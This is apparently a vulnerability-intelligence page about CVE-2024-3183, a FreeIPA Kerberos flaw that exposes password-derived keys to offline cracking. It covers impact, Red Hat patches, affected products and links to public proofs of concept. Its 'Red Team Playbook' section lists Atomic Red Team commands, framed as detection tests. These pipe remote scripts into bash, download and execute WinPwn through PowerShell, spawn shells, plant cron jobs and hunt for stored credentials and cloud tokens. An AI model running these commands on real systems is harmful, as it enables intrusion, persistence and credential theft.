CVE-2024-3183
Overview
This vulnerability is a cryptographic weakness in FreeIPA's Kerberos ticket handling, specifically in the Ticket Granting Service Request (TGS-REQ) encryption process. The flaw arises because the ticket inside the TGS-REQ is encrypted directly with the target principal's key, which is derived from a hash of a per-principal salt and the user’s password. The affected component is the Kerberos authentication protocol implementation within FreeIPA, where session keys protect the request but the ticket encryption exposes password-derived keys to offline attacks.
Vulnerability Description
A vulnerability was found in FreeIPA in a way when a Kerberos TGS-REQ is encrypted using the client’s session key. This key is different for each new session, which protects it from brute force attacks. However, the ticket it contains is encrypted using the target principal key directly. For user principals, this key is a hash of a public per-principal randomly-generated salt and the user’s password. If a principal is compromised it means the attacker would be able to retrieve tickets encrypted to any principal, all of them being encrypted by their own key directly. By taking these tickets and salts offline, the attacker could run brute force attacks to find character strings able to decrypt tickets when combined to a principal salt (i.e. find the principal’s password).
Impact
An attacker with access to a compromised principal’s credentials can retrieve and decrypt tickets encrypted to other principals, enabling offline brute force attacks to recover user passwords. This requires at least limited privileges (PR:L) and network access (AV:N) but no user interaction (UI:N). The attacker can escalate access within the Kerberos realm, compromising authentication integrity and enabling lateral movement. The CVSS vector indicates high confidentiality and integrity impact (C:H/I:H) with no impact on availability (A:N).
Solution
Apply the security updates provided in Red Hat advisories RHSA-2024:3754, RHSA-2024:3755, RHSA-2024:3756, RHSA-2024:3757, and RHSA-2024:3758, which address this vulnerability in Red Hat Enterprise Linux versions 7.0, 8.0, and 8.x AUS variants. Detailed patch instructions and version-specific fixes are available at https://access.redhat.com/errata/. No alternative workarounds are documented; timely application of these patches is recommended to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Redhat | Enterprise Linux | 7.0 |
cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux | 8.0 |
cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Aus | 8.2 |
cpe:2.3:o:redhat:enterprise_linux_aus:8.2:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Aus | 8.4 |
cpe:2.3:o:redhat:enterprise_linux_aus:8.4:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Aus | 8.6 |
cpe:2.3:o:redhat:enterprise_linux_aus:8.6:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Eus | 8.8 |
cpe:2.3:o:redhat:enterprise_linux_eus:8.8:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Tus | 8.4 |
cpe:2.3:o:redhat:enterprise_linux_tus:8.4:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Tus | 8.6 |
cpe:2.3:o:redhat:enterprise_linux_tus:8.6:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Update Services For Sap Solutions | 8.4 |
cpe:2.3:o:redhat:enterprise_linux_update_services_for_sap_solutions:8.4:*:*:*:*:*:*:*
|
|
|
Redhat | Enterprise Linux Update Services For Sap Solutions | 8.6 |
cpe:2.3:o:redhat:enterprise_linux_update_services_for_sap_solutions:8.6:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Im10n/CVE-2024-3183-POC
POC for CVE-2024-3183 (FreeIPA Rosting)
|
Im10n | 29 | 2 | 2024-08-14 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-55 | Rainbow Table Password Cracking |
30%
|
Medium | Medium |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (14)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3183 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3754 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3755 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3756 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3757 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3758 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3759 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3760 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3761 |
| access.redhat.com |
GitHub CVE
vendor-advisory
x_refsource_REDHAT
|
https://access.redhat.com/errata/RHSA-2024:3775 |
| access.redhat.com |
GitHub CVE
vdb-entry
x_refsource_REDHAT
|
https://access.redhat.com/security/cve/CVE-2024-3183 |
| bugzilla.redhat.com |
GitHub CVE
issue-tracking
x_refsource_REDHAT
|
https://bugzilla.redhat.com/show_bug.cgi?id=2270685 |
| freeipa.org |
GitHub CVE
|
https://www.freeipa.org/release-notes/4-12-1.html |
| lists.fedoraproject.org |
NVD API
|
https://lists.fedoraproject.org/archives/list/[email protected]/message/WT3JL7JQDIAFKKEFARWYES7GZNWGQNCI/ |